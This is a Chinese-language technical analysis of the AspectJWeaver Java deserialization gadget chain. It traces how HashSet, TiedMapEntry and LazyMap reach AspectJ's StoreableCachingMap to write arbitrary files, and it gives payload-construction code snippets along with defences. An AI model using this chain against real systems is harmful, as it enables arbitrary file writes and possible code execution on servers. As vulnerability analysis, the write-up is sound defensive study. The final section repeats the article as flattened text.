AspectJWeaver链分析
字数 1068 2025-08-25 22:58:28

AspectJWeaver反序列化链分析

概述

AspectJWeaver反序列化链是一个利用Java反序列化漏洞实现任意文件写入的攻击链。该链结合了Apache Commons Collections和AspectJ Weaver库的特性,通过精心构造的序列化对象,在反序列化过程中触发文件写入操作。

依赖组件

  • org.aspectj:aspectjweaver:1.9.2
  • commons-collections:commons-collections:3.2.2

Gadget Chain调用链

HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

详细分析

1. 入口点: HashSet.readObject()

反序列化过程从HashSet的readObject方法开始:

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // ... 省略初始化代码 ...
    for (int i=0; i<size; i++) {
        @SuppressWarnings("unchecked")
            E e = (E) s.readObject();
        map.put(e, PRESENT);  // 关键调用点
    }
}

2. HashMap.put()触发链式调用

HashSet内部使用HashMap存储元素,put操作会触发hash计算:

public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

3. TiedMapEntry.hashCode()触发getValue()

hash计算会调用key对象的hashCode方法,对于TiedMapEntry:

public int hashCode() {
    Object value = getValue();  // 关键调用点
    return (getKey() == null ? 0 : getKey().hashCode()) ^
           (value == null ? 0 : value.hashCode()); 
}

4. TiedMapEntry.getValue()触发LazyMap.get()

public Object getValue() {
    return map.get(key);  // map是LazyMap实例
}

5. LazyMap.get()触发transform操作

public Object get(Object key) {
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);  // factory是ConstantTransformer
        map.put(key, value);  // 关键调用点
        return value;
    }
    return map.get(key);
}

6. SimpleCache$StorableCachingMap.put()触发文件写入

public Object put(Object key, Object value) {
    try {
        String path = null;
        byte[] valueBytes = (byte[])((byte[])value);
        if (Arrays.equals(valueBytes, SimpleCache.SAME_BYTES)) {
            path = "IDEM";
        } else {
            path = this.writeToPath((String)key, valueBytes);  // 文件写入
        }
        // ... 省略后续代码 ...
    } catch (IOException var6) {
        // ... 异常处理 ...
    }
}

7. 最终文件写入操作

private String writeToPath(String key, byte[] bytes) throws IOException {
    String fullPath = this.folder + File.separator + key;
    FileOutputStream fos = new FileOutputStream(fullPath);
    fos.write(bytes);  // 实际写入操作
    fos.flush();
    fos.close();
    return fullPath;
}

Payload构造分析

关键构造步骤

  1. 创建SimpleCache$StoreableCachingMap实例:

    Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
    Object simpleCache = ctor.newInstance(".", 12);
    
  2. 创建ConstantTransformer用于存储文件内容:

    Transformer ct = new ConstantTransformer(content);
    
  3. 装饰为LazyMap:

    Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
    
  4. 创建TiedMapEntry:

    TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
    
  5. 通过反射将TiedMapEntry注入HashSet:

    HashSet map = new HashSet(1);
    // 通过反射修改HashSet内部HashMap的Node.key为TiedMapEntry
    

为什么需要反射修改HashSet内容?

直接使用HashSet.add(tiedMapEntry)会在构造payload时就触发文件写入(非预期行为)。通过反射修改可以避免这种立即触发,确保只在反序列化时执行。

漏洞利用条件

  1. 目标系统使用了存在漏洞版本的AspectJ Weaver和Commons Collections
  2. 存在反序列化入口点
  3. 攻击者能够控制输入的反序列化数据

防御措施

  1. 升级AspectJ Weaver和Commons Collections到最新版本
  2. 使用安全的反序列化机制,如白名单过滤
  3. 使用Java 9+的安全特性,如JEP 290

参考

AspectJWeaver反序列化链分析 概述 AspectJWeaver反序列化链是一个利用Java反序列化漏洞实现任意文件写入的攻击链。该链结合了Apache Commons Collections和AspectJ Weaver库的特性,通过精心构造的序列化对象,在反序列化过程中触发文件写入操作。 依赖组件 org.aspectj:aspectjweaver:1.9.2 commons-collections:commons-collections:3.2.2 Gadget Chain调用链 详细分析 1. 入口点: HashSet.readObject() 反序列化过程从HashSet的readObject方法开始: 2. HashMap.put()触发链式调用 HashSet内部使用HashMap存储元素,put操作会触发hash计算: 3. TiedMapEntry.hashCode()触发getValue() hash计算会调用key对象的hashCode方法,对于TiedMapEntry: 4. TiedMapEntry.getValue()触发LazyMap.get() 5. LazyMap.get()触发transform操作 6. SimpleCache$StorableCachingMap.put()触发文件写入 7. 最终文件写入操作 Payload构造分析 关键构造步骤 创建SimpleCache$StoreableCachingMap实例: 创建ConstantTransformer用于存储文件内容: 装饰为LazyMap: 创建TiedMapEntry: 通过反射将TiedMapEntry注入HashSet: 为什么需要反射修改HashSet内容? 直接使用 HashSet.add(tiedMapEntry) 会在构造payload时就触发文件写入(非预期行为)。通过反射修改可以避免这种立即触发,确保只在反序列化时执行。 漏洞利用条件 目标系统使用了存在漏洞版本的AspectJ Weaver和Commons Collections 存在反序列化入口点 攻击者能够控制输入的反序列化数据 防御措施 升级AspectJ Weaver和Commons Collections到最新版本 使用安全的反序列化机制,如白名单过滤 使用Java 9+的安全特性,如JEP 290 参考 ysoserial AspectJWeaver payload AspectJWeaver反序列化分析